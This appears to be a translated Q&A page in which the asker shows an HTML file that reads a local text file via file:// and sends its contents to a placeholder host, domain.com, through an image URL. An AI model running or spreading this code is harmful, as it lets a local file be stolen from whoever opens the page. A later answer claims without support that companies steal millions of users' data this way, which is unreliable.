11

セキュリティについて話しましょう。理論的には、ユーザーがhtmlファイルを開いた場合(ネットワークからではなく、ファイルシステムから開いた場合)、スクリプトを使用してユーザーのファイルシステムから情報を取得できるようです。コードを見てください:

info.txt:

my info

index.html:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>

一部のブラウザ(Firefoxなど)では、をfile://介してファイルを取得XmlHttpRequestできるため、ファイルへのパスを推測すると、ajaxでコンテンツを取得できます。次に、クエリ文字列のパラメータを使用してドメインにつながるimgタグを動的に追加できます。srcそしてブラウザは素直にリクエストをしGET ?data=my%20info%0A domain.comます。サーバー側では、クエリ文字列を解析してデータを取得できます。

私はこれを行うことができますか?彼が私のhtmlファイルを開いた場合、彼のコンピューターからユーザーのデータを取得できるのは正しいですか?だから私はただ言うことができます:「ねえ、友達、このファイルをチェックしてください!」(2つの制限があります:ユーザーはFirefoxまたは同様の構成を持つ他のものを使用する必要があり、アクセス権のためにユーザーがアクセスできないファイルを取得できません)。

更新しました:

可能なら、なぜそれが可能なのでしょうか?なぜ彼らはあなたがそのようなことをすることを可能にするのですか?確認ダイアログなどがないのはなぜですか。

更新2:

誰かがこの問題についてレビューをしてくれると素晴らしいでしょう。前もって感謝します!

4

2 に答える 2

5

あなたが思っているよりも可能性は低いです。Chromium 開発チームによるこの投稿で説明されているように、さまざまなブラウザーが、ローカル HTML ファイルでできることに対してさまざまな制限を実装しています。

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

特に:

  • Internet Explorer はデフォルトでローカル HTML ファイルの Javascript を無効にします
  • Opera は、ローカル ファイルからのクロスドメイン アクセスにいくつかの制限を設けています。
  • Firefox はサブディレクトリ制限をローカル ファイル アクセスに適用します

(この投稿は 2008 年のものであることに注意してください。ブラウザ、特に Chrome はそれ以降大幅に変更されている可能性があります。)

于 2012-09-08T06:16:54.803 に答える
0

更新情報: 企業は現在、このエクスプロイトを使用して何百万ものユーザーの情報を盗み、知らないうちに Cookie を使用せずに追跡しています。http://en.wikipedia.org/wiki/Device_fingerprint

この欠陥は、ユーザーが悪用される可能性があるため、意図的に残されているようです。

于 2014-09-23T11:26:24.250 に答える